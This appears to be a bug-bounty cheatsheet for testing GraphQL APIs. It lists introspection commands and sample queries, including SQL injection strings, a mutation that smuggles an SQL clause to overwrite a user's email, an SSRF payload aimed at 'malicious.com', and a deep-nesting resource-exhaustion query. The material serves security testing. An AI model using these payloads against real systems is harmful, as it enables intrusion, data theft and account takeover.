API and GraphQL
API's are especially vulnerable to auth and injection bugs. But, since I've covered those, I'll go over recon, introduce some bugs that are exclusive to APIs and talk about GraphQL.
Last updated: March 5th, 2023API
Recon
Common API bugs
GraphQL
Below I've provided a practical cheatsheet with example commands, it will need to be adjusted to the endpoints in the target application.
-
Enumerate GraphQL Schema:
- Retrieve the GraphQL schema using introspection queries:
curl -X POST -H "Content-Type: application/json" -d '{"query":"query IntrospectionQuery { __schema { queryType { name } ... } }"}' <GraphQL_Endpoint_URL>
-
Testing Query Operations:
- Test for GraphQL injection:
query { user(id: "1' OR 1=1 --") { id name email } }
- Test for excessive data exposure:
- Test for nested query depth attacks:
- Test for enumeration attacks:
- Test for access control vulnerabilities:
- Test for server-side request forgery (SSRF):
-
Testing Mutation Operations:
- Test for unauthorized mutation operations:
mutation { createPost(title: "New Post", content: "This is a test post") { id title } }
- Test for injection vulnerabilities:
- Test for data integrity issues:
- Test for rate limiting and throttling:
-
Testing Subscription Operations:
- Test for unauthorized subscription access:
subscription { newPost { id title } }
- Test for injection vulnerabilities:
- Test for excessive resource consumption:
-
Testing Security Headers:
- Use tools like
curl
or browser developer tools to check response headers:
curl -I <GraphQL_Endpoint_URL>
- Use tools like
-
Testing Authentication and Authorization:
- Test for authentication bypass vulnerabilities:
query { user(id: "1") { id name email } }
- Test for authorization bypass:
- Test for session management vulnerabilities:
-
Testing Error Handling:
- Trigger an error and check the response:
query { nonexistentField }
- Test for sensitive information exposure:
-
Testing Performance and Resource Consumption:
- Send a high-complexity query to test performance:
query { allPosts { id title comments { id content } } }
query {
users {
id
name
password
}
}
query {
user {
posts {
comments {
user {
posts {
comments {
# Continue nesting as required
}
}
}
}
}
}
}
query {
user(role: ADMIN) {
id
name
email
}
}
query {
adminOnlyField
}
query {
userProfilePicture(url: "http://malicious.com/malware") {
url
}
}
mutation {
updateProfile(name: "New Name', email = 'attacker@example.com' WHERE id = 1; --") {
id
name
email
}
}
mutation {
deletePost(id: "1") {
success
}
}
mutation {
createPost(title: "New Post", content: "This is a test post") {
id
title
}
}
subscription {
userLoggedIn(username: "admin' OR 1=1 --") {
id
username
}
}
subscription {
allPosts {
id
title
content
}
}
query {
adminOnlyField
}
mutation {
login(username: "admin", password: "weak_password") {
token
}
}
query {
user(id: "123") {
id
name
password
}
}